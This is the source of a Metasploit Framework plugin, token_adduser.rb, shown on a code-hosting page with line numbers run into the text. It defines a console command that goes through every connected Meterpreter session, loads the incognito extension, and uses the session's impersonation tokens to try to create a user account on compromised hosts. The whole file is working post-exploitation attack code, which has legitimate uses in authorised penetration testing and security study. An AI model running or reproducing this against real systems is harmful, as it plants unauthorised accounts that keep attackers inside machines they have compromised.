Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/plugins/token_adduser.rb
Views: 11705
#1# $Id$2#3# This is a modified version of token_hunter.rb. Credit to4# jduck (I believe) for much of the base code here.5#6# The goal of this script is to attempt to add a user via7# incognito using all connected meterpreter sessions.8#9# jseely[at]relaysecurity.com10#11# TODO: This should probably find new life as a post module.1213module Msf14class Plugin::TokenAdduser < Msf::Plugin1516class TokenCommandDispatcher17include Msf::Ui::Console::CommandDispatcher1819def name20'Token Adduser'21end2223def commands24{25'token_adduser' => 'Attempt to add an account using all connected meterpreter session tokens'26}27end2829def cmd_token_adduser(*args)30opts = Rex::Parser::Arguments.new(31'-h' => [ true, 'Add account to host']32)3334# This is ugly.35if args.empty?36print_line('Usage: token_adduser [options] <username> <password>')37print_line(opts.usage)38return39end4041opt_user_pass = []42username = nil43password = nil44host = nil45opts.parse(args) do |opt, _idx, val|46case opt47when '-h'48host = val4950else51# Excuse my weak ruby skills. I'm sure there's a better way to get username and password52# from the args.53opt_user_pass << val54end55end5657# Again, I'm sure there's a better way to do this.58username = opt_user_pass[0]59password = opt_user_pass[1]6061framework.sessions.each_key do |sid|62session = framework.sessions[sid]63next unless session.type == 'meterpreter'6465print_status(">> Opening session #{session.sid} / #{session.session_host}")6667unless session.incognito68session.core.use('incognito')69end7071unless session.incognito72print_status("!! Failed to load incognito on #{session.sid} / #{session.session_host}")73next74end75# print "DEBUG #{username} #{password}\n"76res = session.incognito.incognito_add_user(host, username, password)77next unless res7879print "#{res}\n"8081# Currently only stops on success if a user is trying to be added to a specific82# host. I can't think of a good reason to stop on success (or even make it an option)83# when trying to add a user to local sessions.84if host && (res =~ /\[\+\] Successfully|\[-\] Password does not meet complexity requirements|\[-\] User already exists/)85break86end87end88end89end9091def initialize(framework, opts)92super93add_console_dispatcher(TokenCommandDispatcher)94end9596def cleanup97remove_console_dispatcher('Token Adduser')98end99100def name101'token_adduser'102end103104def desc105'Attempt to add an account using all connected Meterpreter session tokens'106end107end108end109110111